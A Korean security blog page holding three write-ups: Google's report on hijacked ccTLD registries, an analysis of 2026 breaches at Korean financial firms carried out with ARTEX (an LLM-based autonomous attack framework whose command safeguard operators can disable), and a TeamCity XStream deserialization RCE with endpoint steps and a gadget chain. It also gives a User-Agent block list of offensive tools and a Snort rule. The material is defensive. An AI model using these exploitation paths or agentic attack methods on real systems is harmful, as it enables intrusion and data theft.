요약 - 국가별 최상위 도메인(ccTLD)의 운영 기반시설이 해킹되어 도메인 가로채기, HTTPS 인증서 무단 발급 사고 발생
- 구글은 기업들이 보유한 모든 도메인을 대상으로 인증서 발급 이력을 지속적으로 감시할 것을 권고
내용 - 가나의 .gh, 시에라리온의 .sl, 미국령 사모아의 .as 등 3개 국가별 최상위 도메인(ccTLD)의 운영 기반시설에서 침해사고 발생
> 구글을 비롯한 글로벌 기업의 도메인이 공격자에게 가로채기당하고, 정상적인 HTTPS 인증서까지 무단 발급됨
> 기업 내부 시스템이 침해되지 않더라도 외부 도메인 관리망이 뚫리면 웹사이트의 신뢰체계 자체가 악용될 수 있음을 보여줌

> 공격자는 국가 도메인 운영과 관련된 제3자 시스템을 침해한 뒤 권한 있는 DNS 정보 변경
> 이 정보를 조작하면 사용자가 정상적인 웹사이트 주소를 입력하더라도 공격자가 통제하는 서버로 연결될 수 있음

- 문제는 공격자가 DNS 통제권을 이용해 HTTPS 인증서까지 발급받았다는 점
> 일반적으로 인증기관(CA)은 인증서 발급 전 신청자가 해당 도메인을 통제할 권한이 있는지 확인
> 공격자가 DNS 정보를 조작할 수 있다면 정상적인 인증 절차를 통과해 인증서 발급 가능
> 정상 도메인 주소와 유효한 인증서를 이용해 가짜 웹사이트를 운영할 수 있음

- 실제 여러 구글 도메인과 다른 기업의 도메인에 대해 비인가 HTTPS 인증서가 발급
> 다만 해당 인증서가 실제 이용자 공격이나 정보 탈취에 사용됐는지는 공개되지 않음

- 구글은 사고 확인 직후 크롬 브라우저의 인증서 차단 기능 'CRLSet'을 이용해 자사 도메인에 발급된 비인가 인증서 차단
> 인증기관과 협력해 해당 인증서 폐기

> 이후 인증서 투명성(CT, Certificate Transparency) 기록을 추가 분석하는 과정에서 글로벌 주요 기업과 널리 사용되는 온라인 서비스의 도메인도 영향 가능성 확인
> 구글은 관련 인증서를 크롬에서 차단하고, 확인 가능한 피해 기업에 사고 사실 통보

- 공격자의 신원과 최초 침입 방법, 정확한 피해 도메인 및 인증서 수량은 공개되지 않음
> 세 국가 도메인에 속한 모든 웹사이트가 침해된 것은 아니지만, 운영 기반시설의 통제권이 악용되면서 해당 도메인 전체가 잠재적 위험에 노출

- 구글
> 현재 크롬 이용자가 이번 사고와 관련해 별도로 취해야 할 조치는 없음
> 그러나 모든 영향 도메인을 찾아냈다고 보장할 수 없으며, 다른 브라우저 이용자까지 완벽하게 보호할 수 있는 것은 아님

- 기업의 웹서버나 애플리케이션이 안전하더라도 국가 도메인 운영기관과 DNS 관리체계가 침해되면 이용자 보호에 심각한 문제가 발생할 수 있음을 보여줌
> 기업들이 보유한 모든 도메인 대상 인증서 발급 이력 지속적 감시 권고
> 실제 서비스에 사용하는 도메인뿐 아니라 해외사업용 국가 도메인과 사용하지 않는 보유 도메인도 점검 대상에 포함
> 인증서를 발급할 수 있는 기관과 계정을 제한하는 CAA(Certification Authority Authorization) 정책을 설정
> 비인가 인증서가 발급되면 신속하게 탐지하도록 인증서 투명성 기록 감시
기타 -

 

보안 뉴스

[1] https://blog.google/security/chromes-response-to-recent-cctld-registry-hijacks/
[2] https://www.dailysecu.com/news/articleView.html?idxno=208795
[3] https://www.boannews.com/news/articleView.html?idxno=146250

1. 개요

- 2026년 9월 말부터 10월 초 국내 금융권 대상 연쇄적 개인정보 유출 사고가 발생하여, 총 7개 금융사에서 약 6만 6,000여 명의 개인정보 및 법인 정보 약 2,200건 유출

- 공격자는 핵심 시스템인 코어뱅킹 시스템보다 상대적으로 보안 관리가 취약한 주변 시스템*을 공격 대상으로 삼음

* 직원용 모바일 업무 지원 시스템, 대출 모집인 페이지, 영업 지원 시스템 등

* 근본 원인은 AI 도구 자체보다 주변 시스템의 관리 부실, 인증·인가 검증 미흡, 금융권의 유사한 시스템 구성, 행위 기반 탐지 부족

- 오픈소스 AI 기반 자율 침투 테스트 프레임워크인 ARTEX와 여러 LLM을 활용하여 자산 탐색 및 취약점 검증 등 공격 과정의 자동화가 이루어짐

* AI가 새로운 공격 기법을 창출한 것이 아닌, 기존 공격 과정의 자동화 및 고도화해 속도와 규모를 증폭시킨 사례

- 공격자는 해외 임대 서버(VPS)와 상용 프록시, 국내 IP 등을 혼용하고, 위협 평판 데이터베이스에 등록되지 않은 IP를 활용하여 기존 IP 평판 기반 방어 체계 우회

- 객체 수준의 접근 통제 강화, 외부 노출 자산 식별, Shadow IT 제거, 비정상적인 API 호출 탐지, 공통 솔루션의 취약점 점검, AI 기반 공격을 고려한 지속적 보안 검증이 필요

2. 주요 내용

2.1 사고 개요

- 공격자는 상대적으로 보안이 취약한 주변 시스템을 통해 민감정보에 접근

구분 설명
공격 대상 및 대상 시스템 - 국내 금융기관 및 금융 관련 업무 시스템
> 직원용 모바일 업무 시스템
> 대출 모집인 조회 페이지
> 영업 지원 시스템
공격 도구 및 방법 - ARTEX, LLM 기반 AI 에이전트, 기존 침투 테스트 도구
> Credential Stuffing
> API 인가 검증 미흡 악용
> AI 도구를 활용한 공격 자동화
공격 인프라 해외 VPS, 프록시, 국내 IP 등 위협 평판 데이터베이스에 등록되지 않은 IP
피해 범위 총 7개 금융사에서 약 6만 6,000여 명의 개인정보 및 법인 정보 약 2,200건 유출

 

2.2 피해 범위

- 총 7개 금융사에서 약 6만 6,000여 명의 개인정보 및 법인 정보 약 2,200건 유출

> 우리은행과 NH농협은행도 공격을 받았으나 정보 유출은 없었으며, 접근 경로와 인증 방식의 차이가 침해사고 여부를 가름

※ 우리은행의 경우 대출모집인이 접수한 대출 건을 지정한 태블릿에서만 확인 가능하고, 접속 시 별도 인증서와 생체인증 요구
※ NH농협은행의 경우 대출모집인에게 내부망 접속 권한이나 별도의 업무시스템을 제공하지 않고, 모집인이 유치한 대출 건을 영업점으로 넘기면 이후 절차를 은행 내부에서 처리

구분 일시 설명
신한은행 09/30(수) - AI 에이전트를 활용해 모바일 대출 모집인 조회 서비스 “M 신한” 침투
- 다크웹 등에서 사전 탈취된 타 플랫폼 계정 정보를 활용한 Credential Stuffing
> 로그인 시도 제한 및 계정 잠금 조치 부재)
- 이후 획득한 고객 번호를 조작해 일반 고객용 조회 서비스 API에 반복적 요청을 보내 데이터 수집
> 탈취한 계정이 요청한 데이터에 대한 실질적 열람 권한 검증(인가) 절차 미비
> 대량의 비정상적 정보 호출을 실시간 차단하는 런타임 방어 체계가 제대로 작동하지 않음
※ 로그인 인증 기반 뱅킹 서비스 자체가 직접 해킹된 것은 아님

- 유출 정보
> 약 2만 5000여명의 고객 정보 유출의 고객명, 전화번호, CI(연계정보), 연소득, 대출 신청 관련 개인 신용 정보
> 주민등록번호 66건, CI 97건

- 대응
> 외부 IP 차단 및 관련 서비스 중단, 보안정책 신규 적용
> 개인신용정보 보호 체계 재점검 및 업무 프로세스 개선, 임직원 교육 체계 강화
국민은행 10/02(금) - 직원용 모바일 업무 지원 시스템을 통해 고객 정보 유출
※ 일반 고객용 인터넷 뱅킹이나 모바일 뱅킹과는 무관

- 유출 정보
> 임직원 20명, 고객 99명의 고객명, 전화번호, 주소, 암호화된 주민등록번호

- 대응
> 해당 서버와 접근 경로 차단
> 관련 프로세스 전체 재점검
하나은행 10/02(금) - 외부 해킹 에이전트를 통한 영업지원시스템(ODS)에 접근
※ 인터넷 및 모바일 뱅킹 거래 시스템과 별개 채널

- 유출 정보
> 고객 89명의 주민등록번호, 성명, 주소, 이메일주소, 전화번호, 휴대번호, 직장명

- 대응
> 침해 정황이 확인된 관련 IP 차단·점검
> 긴급 대응 태스크포스 및 침해사고대응반 소집
BNK부산은행 10/02(금) - 웹페이지에서 개인정보 유출

- 유출 정보
> 외주 개발직원 11명의 성명, 전화번호, 생년월일, 이메일 주소 등

- 대응
> 문제의 웹페이지 차단 조치
> 모니터링 강화
예가람저축은행 10/02(금) - 고객 개인정보가 포함된 서버에 접근
※ 외부 솔루션 원격 취약점 추정

- 유출 정보
> 약 5만 명의 성명, 생년월일, 연락처(전화번호 또는 휴대폰번호), 계좌번호, 거래내역, 발급일자, 만료일자, 주민등록번호, 직장명, 입사일, 일련번호, 주소

- 대응
> 관련 서비스 중단 및 외부 IP 차단
> 보안 모니터링 강화
현대캐피탈 10/03(토) - 주택 대출 모집인 조회 페이지에 접근

- 유출 정보
> 주택 대출 모집인 146명의 이름, 휴대폰 번호, 이메일, 주민등록번호

- 대응
> 공격 IP 및 문제 페이지 즉시 차단 및 수정
> 사고대응 전담 태스크포스 구성
> 외부에 공개된 모든 웹페이지 조사
웰컴저축은행 10/03(토) - 금보원 공유 공격 IP 자체 점검 중 침해 사실 확인
※ 사고 발생 5일 후 침해 사실 인지

- 유출 정보
> 법인 인터넷 뱅킹 아이디, 법인명, 대표자 이름, 회사 업무 연락처, 휴대전화번호, 이메일 주소
> 전체 유출 데이터 2,370건 중 2,299건에 개인 정보 포함 (단, 중복을 포함한 수치)

- 대응
> 웹 취약점 등 문제가 발생한 부분에 대한 보완 조치

 

2.3 근본 원인 (Root Cause)

2.3.1 주변 시스템 관리 미흡

- 금융기관은 코어뱅킹 시스템에 높은 수준의 보안 통제를 적용하지만, 고객 정보를 처리하는 주변 업무 시스템은 상대적으로 관리가 소홀할 수 있음
- 공격자는 대출모집인 시스템, 임직원 복지·지원 서비스, 영업 지원 플랫폼 등 통제와 관리 우선순위에서 밀려난 외부 노출 자산의 공격 표면을 노림
- 주변 시스템이 내부 고객 정보 데이터베이스나 업무 API에 접근할 수 있는 경우, 해당 시스템의 보안 결함이 고객 정보 유출로 이어질 수 있음

2.3.2 Credential Stuffing

- 공격자는 다크웹 등을 통해 다른 서비스에서 유출된 계정 정보를 확보한 뒤, 금융기관의 로그인 시스템에 자동으로 대입하여 계정 접근 시도
- 동일하거나 유사한 계정 정보를 여러 서비스에서 사용하는 경우, 공격 성공 가능성 증가
- 로그인 시도 제한, 계정 잠금, MFA 등의 통제가 충분하지 않으면 계정이 탈취될 수 있음

2.3.3 API 인가(Authorization) 검증 미흡

- Credential Stuffing으로 계정을 탈취한 후, 고객 번호를 조작해 일반 고객용 조회 서비스 API에 반복적인 요청을 전송
- API 요청 과정에서 요청자의 인증(Authentication) 여부만 확인하고, 요청한 고객 정보에 접근할 권한이 있는지 서버단에서 인가(Authorization)절차가 제대로 수행되지 않음

※ 인증(Authentication) : 시스템에 접근하려는 사용자의 신원(Identity)을 확인하는 과정
※ 인가(Authorization) : 인증된 사용자가 특정 자원이나 기능에 접근할 수 있는 권한이 있는지 확인하고 부여하는 과정 

BOLA (Broken Object Level Authorization, 객체 수준 권한 부여 오류)
- OWASP Top 10 API Security Risks – 2023 기준 1순위 위협에 해당
- API 요청에 포함된 객체 식별자(ID 등)를 임의로 조작해 다른 사용자의 데이터에 무단으로 접근해 데이터 조회, 수정, 삭제할 수 있는 취약점
- 주요 원인은 권한 검증 부족, 식별자 변경, 미비한 인증/인가 등이며, 엄격한 서버 측 권한 및 접근 검증, 객체 식별자 검증 등 필요 

※ BOPLA (Broken Object Property Level Authorization, 객체 속성 수준 권한 부여 오류)
- OWASP Top 10 API Security Risks – 2023 기준 3순위 위협에 해당
- 사용자가 특정 데이터 객체 자체에는 접근 권한이 있으나, 해당 객체의 속성 단위 권한 검증이 부적절하여 민감 속성 유출, 속성 값 변경, 추가, 삭제가 가능한 취약점
- 주요 원인은 과도한 응답 데이터, 대량 할당(Mass Assignment) 등이며, 응답 구조 사전 정의, 속성 단위 권한 검증 적용, 기능 단위 접근 제한 등 필요

※ BFLA (Broken Function Level Authorization, 기능 수준 권한 부여 오류)
- OWASP Top 10 API Security Risks – 2023 기준 5순위 위협에 해당
- 일반 사용자 권한을 가진 계정이 관리자용 API 앤드포인트 등 더 높은 권한이 필요한 기능(삭제, 설정 변경 등)을 무단으로 실행할 수 있는 취약점
- 주요 원인은 권한 검증 부족, 추측 가능한 앤드포인트 URL 등이며, 기본적으로 모든 접근 차단 및 각 기능별 명시적 접근 권한 부여, 서버 측 재검증, 최소 권한 원칙 적용 등 필요

※ IDOR (Insecure Direct Object Reference, 불안전한 직접 객체 참조)
- OWAPS TOP 10 2025 기준 1순위인 Broken Access Control의 대표적인 사례 중 하나
- 애플리케이션이 사용자가 제공한 식별자(ID 등)를 검증 없이 그대로 사용하여, 수평적(동일 권한 타 계정) 또는 수직적(높은 권한) 권한 상승, 데이터 무단 접근이 가능한 취약점
- 주요 원인은 권한 검증 부족, 유추하기 쉬운 식별자 사용, 과도한 클라이언트 입력 신뢰 등이며, 엄격한 권한 검증, 무작위 식별자 사용, 입력 값 검증 등 필

2.3.4 금융권 시스템 동질성

- 높은 규제로 인해 시스템 구성의 다양성이 낮으며, 대부분의 금융회사가 규제 요건을 통과한 솔루션, 3rd-Party 제품, 시스템 등을 사용
- 공통 솔루션이나 유사한 설계에서 취약점이 발견될 경우, 다른 기관에서도 동일 또는 유사한 문제가 존재할 가능성이 높음
- 따라서, 한 금융회사에서 보안 사고 발생 시 유사한 환경을 가진 다른 금융회사에도 동일한 취약점이 연쇄적으로 발견되는 구조

2.3.5 행위 기반 탐지 부족

- 기존 보안 장비가 알려진 악성 IP나 공격 시그니처에 의존하는 경우, 평판 정보가 없는 IP 또는 정상 요청과 유사한 API 호출을 즉각적으로 탐지하기 어려움
- 따라서, 공격 IP 차단을 기본으로 하되, 조회량, 오류 응답 증가, 요청 빈도 등을 종합적으로 분석해야 함

 

2.4 AI 기반 침투 테스크 프레임워크 ARTEX

- ARTEX는 중국에서 개발된 LLM 기반 자율 침투 테스트 프레임워크로, 다수의 AI 에이전트를 활용해 자산 탐색, 취약점 점검 및 공격 과정을 자동화하는 오픈소스 프레임워크
- 역할이 나뉜 여러 AI 에이전트, 에이전트들이 함께 쓰는 지식 저장소, 표적에 실제 요청을 보내는 실행 도구로 구성되며, 목표를 주면 결과를 바탕으로 다음 점검 항목을 스스로 정하고 반복 수행
- 개선된 기능과 성능을 제공하는 ARTEX v2가 확인되어, 단순히 개별 침투 테스트 작업 자동화 도구를 넘어 여러 Agent의 작업과 도구, 데이터를 하나의 환경에서 조율 및 관리하는 플랫폼 형태로 발전
- 이번 금융권 사고와 관련 ARTEX 및 여러 AI 모델 활용 정황이 보도

2.4.1 동작 원리

구성 요소 기능
Goals - 운영자가 입력한 목표를 세부 과제로 나누고 점검 범위 생성
- 목표만 입력하면 작업 계획 자동 생성
Planner - 지식 저장소를 읽고 다음에 시도할 행동을 정해 작업 대기열에 등록
- 사람의 판단 없이 다음 공격 방향 결정
Worker - 배정된 작업을 실제 도구로 표적에 실행하고, 발견한 사실·자산·취약점 기록
- 표적과 경로별로 동시에 진행
Retester - 발견 취약점 재검증
- 같은 표적을 자동으로 다시 찾아가 확인
지식 저장소 - 자산 그래프(도메인·IP·서비스·엔드포인트)와 탐색 그래프(목표·시도·발견 이력)유지
- 한 표적에서 얻은 단서를 전체 작업에 반영
실행 도구 - 포트 스캔, HTTP 요청, 브라우저 자동화 도구 사용 및 모든 트래픽을 기록용 프록시에 저장
- 탐색부터 검증까지 사람 개입 없음
명령 판정 - 실행할 명령을 허용·확인·거부로 판정하는 정상 사용자용 안정 장치
- 운영자의 설정에 따라 작동하지 않을 수 있음
보고서·알림 - 기록한 트래픽을 취약점과 연결해 결과 정리 및 메신저, 웹훅, 메일로 알림
- 취약점을 찾는 즉시 운영자에게 전달되어 공격 주기가 짧아짐

 

- 다음 순서로 목표를 달성하거나 시도할 경로가 없어질 때까지 반복
> 정해진 순서대로 순환하는 것이 아닌 Worker가 결과를 기록할 때마다 Planner가 다시 실행되고, 마지막 목표가 증명될 시 실행 중지

2.4.2 공격 인프라 분석

- 공격자 한 명이 하나의 도구로 여러 국가의 임대 서버를 거쳐 여러 금융사의 외부 노출 시스템을 동시에 탐색
- ARTEX 인스턴스가 호스팅된 IP를 시작점으로 연관 인프라 분석 결과 약 600개의 추가 IP를 확인하였으나, 오픈소스 프로젝트이므로 모든 IP를 공격 인프라로 판단해서는 안됨

단계 행위
인프라 준비 - 여러 국가의 임대 서버(VPS) 확보 및 도구 설치
> Acquire Infrastructure: Virtual Private Server (T1583.003)
> Obtain Capabilities: Artificial Intelligence (T1588.007)
정찰 - 표적 도메인과 IP를 입력해 서브도메인, 서비스, 엔드포인트 나열
> Active Scanning: Vulnerability Scanning (T1595.002)
결함 탐색 - 접근통제 결함과 알려진 취약점 식별
> Exploit Public-Facing Application (T1190)
> Brute Force: Credential Stuffing (T1110.004)
대량 조회 - 결함을 악용해 식별값을 바꿔가며 반복 조회
> Data from Information Repositories (T1213)
차단 회피 - IP 차단 시 다른 IP 및 다른 서비스로 옮겨 재시도
> Proxy (T1090)
확산 같은 방식으로 타 기관 및 다른 업권 공격

 

- 식별된 인프라에서 외부 노출된 웹 서비스 추가 분석 결과 다양한 AI 기반 및 기존 공격·보안 도구가 함께 운영
> 또 다른 분석에서는 14개 국가·지역에서 ARTEX 관련 고유 IP 359개 및 AI 기반 보안 분석 자동화 도구 관련 서버도 약 1,000개 규모로 관측

웹 서비스 주요 기능/분류 확인 건수 비율
ARTEX AI 기반 자율 침투 테스트 394 46.46%
Sub2API AI API Gateway 252 29.72%
Scope Sentry 공격 표면 관리(ASM) 22 2.59%
CyberStrikeAI AI 기반 침투 테스트 15 1.77%
ARL-Next 자산 탐색/ASM 4 0.47%
LunaFox 공격 표면 관리(ASM) 1 0.12%
Acunetix 취약점 스캐너 1 0.12%
MultiC2 C2 1 0.12%
Mythic C2/레드팀 1 0.12%

2.4.3 공격자 신원

- 공격자 서버에 외부에서 열람할 수 있는 상태로 남아 있던 파일을 분석해 중국 거주 사용자 계정  @YY520CN 식별
> 중국어권 사이버범죄 커뮤니티 Dogshield·狗盾에서 활동하며 DDoS 공격 대행, 익명 서버 판매, 해외 고객 대상 공격 지원 등에 관여

> 중국계 DDoS-for-hire 해킹 조직인 GodNet/VITAS의 커뮤니티 감독관(社区监督员)임을 식별

3. 대응방안

구분 설명
계정 보호 - MFA 적용 및 유출 계정 점검
- 계정별 로그인 실패 횟수, 계정 잠금 설정 및 비정상 계정 활동 탐지
- 불필요 업무용 계정 비활성화 및 최소 권한 적용
- 로그아웃 또는 세션 종료 후 기존 토큰·세션 재사용 가능 여부 점검
- 침해 의심 계정의 세션 무효화 및 접근 차단
- 위험 기반 인증 적용 (RBA, Risk-Based Authentication)
> 사용자의 로그인 시도 등과 관련된 위험을 동적으로 평가하고, 이에 따라 인증 요구 사항을 조정하는 인증 방식
API 보안 강화 - 대·내외 API 식별 후 미등록 API 및 인증 없이 접근 가능한 엔드포인트 점검
- API별 요청 임계치 적용
- 응답에 불필요한 개인정보나 중요 정보가 포함되지 않도록 최소화
- 모든 고객 조회용 API에 대한 객체 수준의 권한 검증 적용
- 조작된 요청(고객번호 변경 등)에 대해 서버 측 권한 재검증
행위 기반 탐지 - 짧은 시간 동안 다수의 고객정보 조회하는 행위
- 고객 식별자를 순차 또는 반복적으로 변경하는 요청
- 존재하지 않는 고객번호 및 오류 응답 증가 탐지
- 평소 대비 많은 데이터가 반환되거나 다운로드되는 행위
- 비정상적인 시간대·기기·접속 경로에서 발생한 업무용 계정 활동
- IP 주소뿐 아니라 계정·세션·기기 단위로 호출 빈도를 분석해 분산 요청과 IP 변경을 통한 제한 우회를 탐지
- 웹·API 로그에 접속 IP, 요청 시각, 요청 경로, 식별자 파라미터, 응답 코드 및 응답 크기 기록, 로그에 포함된 개인정보는 마스킹 처리
- 공유된 공격 IP는 차단 및 과거 접속 로그 분석에 활용하되, IP 차단만으로 대응 완료 판단 지양
자산 점검 - ASM(Attack Surface Management)을 활용해 도메인, 서브도메인, IP, 포트, 인증서, 웹·API 엔드포인트 및 관리자 페이지 지속적 식별
- 탐지한 자산을 공식 자산 목록과 대조해 Shadow IT 및 Shadow API 식별
- 외부에 노출된 모든 자산에 책임 부서, 중요도, 취급 데이터 및 외부 공개 사유를 지정
- 인터넷에서 접근 가능한 업무 시스템과 내부 고객정보 시스템 간 접근통제 검증
- 미사용·구버전 서비스, 외부에 열린 테스트 서버, 불필요한 포트 및 관리자 페이지 폐쇄
- 알려진 취약점과 제조사 지원 종료 자산 식별, 위험도에 따라 패치 및 개선 우선순위 지정
- 공통 솔루션 및 서드파티 제품 점검
AI 기반 공격 대응 - AI 기반 공격 도구가 다수의 자산을 병렬 탐색하고, 취약점 탐색 및 반복 요청을 자동화할 수 있다는 점을 고려해 보안 점검 주기와 탐지 범위를 조정
- 공격자가 IP나 서비스를 변경해 재시도하는 상황에 대비해, 출발지 주소보다 요청 패턴과 행위를 중심으로 탐지
- AI 기반 침투 테스트 도구의 작동 방식과 생성되는 행위를 방어 관점 분석
- 승인된 테스트 환경에서 AI 기반 침투 테스트 도구를 활용해 인증·인가 우회, 요청값 변조, 대량 조회 및 자동화 공격 대응 여부 검증
- AI 도구의 사용 여부가 아니라 실제 네트워크·API·계정 행위를 기준으로 탐지
- AI 기반 공격을 가정한 사고 대응 훈련과 로그 분석 절차 마련
- 공격 자동화의 속도에 대응할 수 있도록 취약점 검증과 패치 우선순위 자동화
탐지 정책 적용 - WAF/WAAP에서 식별자 순차 대입, 반복 호출, 파라미터 변조 및 자동화 요청을 행위·속도 기반 규칙으로 탐지하고 차단
- EDR에서 외부 노출 서버와 업무지원 서버에서 발생하는 의심스러운 도구 설치, 악성 행위 및 권한 상승 탐지 및 필요 시 격리
- NDR에서 IP가 변경되더라도 지속되는 비정상 통신 패턴, 자동화 공격 징후 및 내부 확산 행위 탐지
- SIEM·24시간 관제에서 여러 보안 장비의 경보를 통합·상관 분석하고, 주변 시스템을 관제 범위에 포함해 탐지 및 대응 시간 단축
- 차단·대응 절차에서 같은 공격 패턴이 다른 IP에서 반복될 경우 서비스 차단을 결정할 담당자와 야간·휴일 대행자 지정
- 정책 검증에서 탐지 정책을 실제 로그와 모의 테스트에 적용해 오탐·미탐을 점검하고, 탐지 결과와 조치 이력

- ARTEX 관련 User-Agent 헤더를 탐지 및 차단할 수 있는 정책 적용
> 관련 User-Agent : ARTEX-worker, artex-selfupdate, artex_token, curl, wget, ffuf, Nmap NSE, Nuclei, masscan HTTP probe, sqlmap, Hydra, Nikto, Evil-WinRM, Chisel
> 탐지 정책 예시
alert tcp any any -> any any (msg:"ARTEX User-Agent";flow:to_server,established;content:"GET ";content:"User-Agent|3a| artex-enrich/";nocase; fast_pattern;)

4. 참고

[1] https://www.boannews.com/news/articleView.html?idxno=146150
[2] https://www.boannews.com/news/articleView.html?idxno=146175
[3] https://www.boannews.com/news/articleView.html?idxno=146174
[4] https://www.boannews.com/news/articleView.html?idxno=146182
[5] https://www.boannews.com/news/articleView.html?idxno=146183
[6] https://www.boannews.com/news/articleView.html?idxno=146184
[7] https://www.boannews.com/news/articleView.html?idxno=146186
[8] https://www.boannews.com/news/articleView.html?idxno=146187
[9] https://www.boannews.com/news/articleView.html?idxno=146188
[10] https://www.dailysecu.com/news/articleView.html?idxno=208724
[11] https://www.boannews.com/news/articleView.html?idxno=146208
[12] https://www.boannews.com/news/articleView.html?idxno=146219
[13] https://www.boannews.com/news/articleView.html?idxno=146220
[14] https://www.boannews.com/news/articleView.html?idxno=146246
[15] https://www.dailysecu.com/news/articleView.html?idxno=208773
[16] https://www.dailysecu.com/news/articleView.html?idxno=208781
[17] https://www.boannews.com/news/articleView.html?idxno=146276
[18] https://www.ahnlab.com/ko/contents/content-center/36300
[19] https://www.ahnlab.com/ko/contents/content-center/36299
[20] https://www.boannews.com/news/articleView.html?idxno=146287
[21] https://www.dailysecu.com/news/articleView.html?idxno=208807
[22] https://www.skshieldus.com/security-insights/reports
[23] https://www.enki.co.kr/media-center/blog/2026-financial-sector-serial-breaches-analysis-and-countermeasures
[24] https://github.com/jiwoochris/artex-ko
[25] https://www.dailysecu.com/news/articleView.html?idxno=208810
[26] https://www.dailysecu.com/news/articleView.html?idxno=208808
[27] https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/
[28] https://www.yna.co.kr/amp/view/AKR20261008038500017
[29] https://www.yna.co.kr/view/AKR20261008116200017
[30] https://www.yna.co.kr/view/AKR20261006071400002
[31] https://www.yna.co.kr/view/AKR20261006118100017
[32] https://m.etnews.com/20261008000316
[33] https://www.newstomato.com/ReadNews.aspx?no=1316061
[34] https://www.yna.co.kr/view/AKR20261007112100017
[35] https://www.yna.co.kr/amp/view/AKR20261007170700017
[36] https://www.yna.co.kr/view/AKR20261008020052017
[37] https://www.boannews.com/news/articleView.html?idxno=146267

1. 취약점

[사진 1] CVE-2026-63077 [1]

- 인증되지 않은 에이전트 요청 처리 과정에서 XStream의 타입 허용 목록 설정이 불완전하여, 인증되지 않은 공격자가 객체 생성 및 역직렬화 과정에서 호출되는 메서드와 콜백을 조합하여 원격 명령 실행이 가능한 취약점 (CVSS: 9.8) [2]

> 해당 취약점을 랜섬웨어 공격에 악용하고 있어 즉각적인 대응이 필요

영향받는 버전
- TeamCity 2026.1.3 이전 버전
- TeamCity 2025.11.7 이전 버전

2. 상세분석

2.1 Root cause

- XStream 설정 시 기존 기본 허용 타입(Default Permissions)을 명시적으로 제거하지 않고, 커스텀 허용 목록(Allowlist)만 추가한 것이 주원인

> XStream은 Java 객체를 XML로 직렬화(Serialization)하거나, 반대로 XML을 자바 객체로 역직렬화(Deserialization)하는 데 사용하는 자바 라이브러리로, TeamCity는 Agent Polling Protocol을 통해 서버와 통신하며, 이때 XStream을 사용 [3]

> allowTypeHierarchy()는 지정한 타입뿐만 아니라 해당 타입의 하위 클래스나 구현체(상속 또는 구현)에 대해 역직렬화 권한을 부여

> Map, Throwable 등 다양한 구현 클래스 및 하위 클래스를 포괄하는 권한이 포함되어 있어, 객체 생성 및 역직렬화 과정에서 호출되는 메서드와 콜백을 조합하여 원격 명령 실행으로 이어지는 체인을 구성할 수 있음

// ./webapps/ROOT/WEB-INF/lib/xstream.jar
package com.thoughtworks.xstream;

public class XStream {
// ...

protected void setupSecurity() {
  if (this.securityMapper == null)
    return; 
  addPermission(NoTypePermission.NONE);          // <--- Clears all existing permissions
  addPermission(NullPermission.NULL);
  addPermission(PrimitiveTypePermission.PRIMITIVES);
  addPermission(ArrayTypePermission.ARRAYS);
  addPermission(InterfaceTypePermission.INTERFACES);
  allowTypeHierarchy(Calendar.class);
  allowTypeHierarchy(Collection.class);
  allowTypeHierarchy(Map.class);                 // <--- Map is allowed
  allowTypeHierarchy(Map.Entry.class);
  allowTypeHierarchy(Member.class);
  allowTypeHierarchy(Number.class);
  allowTypeHierarchy(Throwable.class);           // <--- Throwable is allowed
  allowTypeHierarchy(TimeZone.class);
  // ...

 

2.2 취약점 악용

- 먼저 서버는 /app/agents/v1/register 엔드포인트로 전송되는 HTTP POST를 통해 에이전트 등록 요청을 수락하고, 응답 헤더 TeamCity-AgentSessionId를 통해 세션 식별자 반환

- 이어서 공격자는 발급받은 세션 식별자와 가젯 체인(Gadget Chain)을 포함한 XML을 /app/agents/v1/commands/error 엔드포인트로로 HTTP POST 요청을 전송

> handleCommands 메서드는 TeamCity-AgentSessionId 헤더 검증 후 error 명령 처리를 위해 handleCommandIsFailedRequest 메서드 호출

// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;
private ModelAndView handleCommands(
          HttpServletRequest request,
          HttpServletResponse response,
          String[] path) throws Exception {
      String sessionId = request.getHeader("TeamCity-AgentSessionId");
      BuildAgentEx agent =
          sessionId != null ? findAgentBySessionId(sessionId) : null; // <--- validate agent session ID
      // This check occurs before the vulnerable handler is reached.
      if (agent == null) {
          response.setStatus(401);
          response.getWriter().write("Agent's session is not found");
          return null;
      }
      PollingRemoteAgentConnection connection =
          (PollingRemoteAgentConnection) agent.getConnection();
      if (path.length == 4) {
          String operation = path[3];
          if (operation.equals("error")) {
              getCommandsProcessor().handleCommandIsFailedRequest(
                  connection, request, response
              ); // <--- call the error handler
          }
      }
      return null;
  }

 

> handleCommandIsFailedRequest 메서드에서 가젯 체인이 포함된 XML이 역직렬화되어 인증되지 않은 공격자가 원격 코드 실행이 가능

// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;

abstract class AbstractAgentCommandsRequestsProcessor implements AgentCommandsRequestsProcessor {
// ...

public void handleCommandIsFailedRequest(
        PollingRemoteAgentConnection connection,
        HttpServletRequest request,
        HttpServletResponse response) throws IOException {
    Error error = Error.fromXml(
        StreamUtil.readTextFrom(request.getReader())
    ); // <--- deserialize attacker's XML

    // ...
}

 

2.3 Gadget Chain

- Gadget Chain이란 기존 코드 조각(Gadget)들을 서로 연결하여 공격자가 원하는 명령을 실행하게 만드는 공격 기법 [5]

[사진 2] 취약점 악용을 위한 Gadget Chain

구분 객체/클래스 역할
Entry 1 HSQLMetadataStorage$SchemaMismatchException BasicDataSource로 이어지는 객체 그래프의 시작점
outer-class SchemaMismatchException의 바깥 클래스 HSQLMetadataStorage 객체 참조
HSQLMetadataStorage 내부 myHSQLStorage 필드를 통해 HSQLStorage로 연결
HSQLStorage 내부 myDataSource 필드를 통해 BasicDataSource로 연결
BasicDataSource 공격자가 설정한 JDBC DataSource 객체
이후 getConnection()이 호출되면서 가젯 체인 동작
Entry 2 HashAdapter BasicDataSource의 JavaBean 속성을 FreeMarker를 통해 조회할 수 있도록 연결
BooleanModel BasicDataSource 객체를 BeanModel 형태로 감싸 JavaBean 속성 접근을 가능하게 함
BeanModel.object Entry 1에서 생성된 BasicDataSource 객체 참조
HashAdapter.model BooleanModel 객체를 참조하여 속성 조회 경로 구성
BeansWrapper JavaBean의 메서드/속성을 분석하여 connection 속성을 getConnection()으로 연결
Entry 3 HashSet TiedMapEntry를 삽입하는 과정에서 자동으로 hashCode()를 호출하여 가젯 체인을 실행시키는 트리거
